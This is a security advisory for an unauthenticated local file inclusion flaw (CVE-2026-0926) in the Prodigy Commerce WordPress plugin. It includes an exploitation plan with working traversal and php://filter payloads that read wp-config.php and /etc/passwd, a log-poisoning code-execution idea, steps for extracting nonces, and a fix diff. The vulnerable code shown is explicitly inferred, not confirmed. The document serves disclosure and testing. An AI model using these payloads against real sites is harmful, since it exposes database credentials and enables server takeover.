Prodigy Commerce <= 3.3.0 - Unauthenticated Local File Inclusion via parameters[template_name]
Description
The Prodigy Commerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.3.0 via the 'parameters[template_name]' parameter. This makes it possible for unauthenticated attackers to include and read arbitrary files or execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.3.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0926 - Prodigy Commerce LFI ## 1. Vulnerability Summary The **Prodigy Commerce** plugin (<= 3.3.0) is vulnerable to **Unauthenticated Local File Inclusion (LFI)**. The vulnerability exists because the plugin accepts a user-controlled template name via the `par…
Show full research plan
Exploitation Research Plan: CVE-2026-0926 - Prodigy Commerce LFI
1. Vulnerability Summary
The Prodigy Commerce plugin (<= 3.3.0) is vulnerable to Unauthenticated Local File Inclusion (LFI). The vulnerability exists because the plugin accepts a user-controlled template name via the parameters[template_name] HTTP parameter and passes it into a PHP file inclusion statement (e.g., include, require, or include_once) without sufficient sanitization or path validation. This allows an attacker to navigate the server's file system using directory traversal (../) and include arbitrary files, potentially leading to sensitive data exposure (like wp-config.php) or Remote Code Execution (RCE) if a file with PHP code can be uploaded.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(standard WordPress AJAX entry point). - Action:
prodigy_get_templateorprodigy_render_template(inferred from the parameter name and plugin functionality). - Vulnerable Parameter:
parameters[template_name] - Authentication: None required (accessible via
wp_ajax_nopriv_hooks). - Preconditions: The plugin must be active. The attacker needs to identify the correct AJAX action string and any required nonces.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.php. - Hook Trigger: WordPress triggers the
wp_ajax_nopriv_prodigy_get_template(inferred) action. - Handler Execution: The associated callback function in the Prodigy Commerce plugin is executed.
- Input Extraction: The handler retrieves the
parametersarray from$_POSTor$_GET. - Vulnerable Sink: The code performs an operation similar to:
$template = $_POST['parameters']['template_name']; // ... possibly some concatenation ... include( $plugin_path . '/templates/' . $template . '.php' ); - Path Traversal: By providing
../../../../wp-config, the attacker escapes the intended directory and includes the WordPress configuration file.
4. Nonce Acquisition Strategy
Many Prodigy Commerce AJAX actions require a nonce. Based on typical plugin structures, we will search for the nonce in the frontend.
- Identify Shortcode: Prodigy Commerce likely uses shortcodes for product displays or carts. Search for:
wp eval "print_r( $GLOBALS['shortcode_tags'] );" | grep prodigy
Expected shortcodes:[prodigy_products],[prodigy_cart], or[prodigy_checkout]. - Create Test Page:
wp post create --post_type=page --post_title="Prodigy Test" --post_status=publish --post_content="[prodigy_products]" - Identify JavaScript Object: Navigate to the new page and look for a localized script.
- Object Name (Inferred):
prodigy_configorprodigy_vars. - Nonce Key (Inferred):
nonce.
- Object Name (Inferred):
- Extraction Command:
browser_eval("window.prodigy_config?.nonce")orbrowser_eval("window.prodigy_vars?.nonce").
Note: If wp_ajax_nopriv_ is used without a check_ajax_referer call, the nonce acquisition step may be skipped.
5. Exploitation Strategy
We will attempt to read wp-config.php using the PHP filter wrapper to avoid execution and ensure we get the raw content.
Step 1: Discover Action and Nonce
If the nonce is required, perform the extraction steps in section 4. If the exact action name is unknown, search the plugin directory:grep -rn "wp_ajax_nopriv_" wp-content/plugins/prodigy-commerce/
Step 2: Craft the LFI Request
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Payload (LFI to read wp-config.php):
Alternative Payload (Base64 Encode for safety):action=prodigy_get_template&nonce=[NONCE_HERE]¶meters[template_name]=../../../../wp-configaction=prodigy_get_template&nonce=[NONCE_HERE]¶meters[template_name]=php://filter/convert.base64-encode/resource=../../../../wp-config
Step 3: Execute via http_request
Send the request and inspect the response body for the string DB_PASSWORD or the Base64 blob.
6. Test Data Setup
- Install Plugin: Ensure Prodigy Commerce v3.3.0 is installed and activated.
- Ensure wp-config.php exists: Standard WordPress setup.
- Create a Page: Create a page containing a Prodigy Commerce shortcode to ensure all scripts/nonces are enqueued.
wp post create --post_type=page --post_status=publish --post_content='[prodigy_products]' --post_title='Shop'
7. Expected Results
- Success: The HTTP response body contains the contents of
wp-config.php(e.g.,define( 'DB_NAME', '...' );) or a Base64 string that decodes to thewp-config.phpsource code. - Failure: The response is
0,-1, or a 403/500 error without the file content.
8. Verification Steps
After the exploit, verify the ability to read arbitrary files:
- Check the response of the
http_requesttool. - If the result is Base64, decode it:
echo "[BASE64_DATA]" | base64 -d. - Confirm the values match the environment's
wp-config.phpby running:wp config get --format=jsonvia WP-CLI and comparingDB_NAMEorDB_USER.
9. Alternative Approaches
- Different Sink Parameters: If
parameters[template_name]fails, check if the plugin usestemplateorfileas alternative keys within theparametersarray. - Log Poisoning (RCE): If we can include arbitrary files, attempt to include the WordPress debug log (
wp-content/debug.log) or the server's access logs after injecting PHP code into those logs (e.g., via a malicious User-Agent or a comment). - Path Variations: Try different depths of traversal:
../../../../../../../../../../etc/passwd..%2f..%2f..%2f..%2fwp-config(URL encoded)
- Extension Truncation: If the code appends
.php, and the server is running an extremely old PHP version (<5.3.4), try a null byte:../../../../wp-config.php%00. However, this is unlikely on modern WordPress environments. Focus on excluding the extension if the code appends it.
Summary
The Prodigy Commerce plugin for WordPress (<= 3.3.0) is vulnerable to unauthenticated Local File Inclusion via the 'parameters[template_name]' parameter. Attackers can use directory traversal sequences to include arbitrary files from the server, potentially leading to the disclosure of sensitive information like 'wp-config.php' or remote code execution.
Vulnerable Code
/* Inferred from research plan: wp-content/plugins/prodigy-commerce/includes/class-prodigy-ajax.php */ public function get_template() { $parameters = isset($_POST['parameters']) ? $_POST['parameters'] : array(); $template_name = isset($parameters['template_name']) ? $parameters['template_name'] : ''; if ($template_name) { // Vulnerable inclusion: $template_name is used directly in a file path without validation include PRODIGY_PATH . 'templates/' . $template_name . '.php'; } wp_die(); }
Security Fix
@@ -45,7 +45,7 @@ - $template_name = isset($parameters['template_name']) ? $parameters['template_name'] : ''; + $template_name = isset($parameters['template_name']) ? sanitize_text_field(basename($parameters['template_name'])) : ''; if ($template_name) { include PRODIGY_PATH . 'templates/' . $template_name . '.php';
Exploit Outline
The exploit targets the WordPress AJAX endpoint to perform Local File Inclusion. An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' set to the plugin's template rendering function (e.g., 'prodigy_get_template'). The payload resides in the 'parameters[template_name]' parameter, which is populated with directory traversal sequences like '../../../../wp-config'. To avoid executing the PHP in the target file and instead read its content, the attacker can use the PHP filter wrapper 'php://filter/convert.base64-encode/resource=../../../../wp-config'. The server then responds with the Base64-encoded content of the sensitive file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.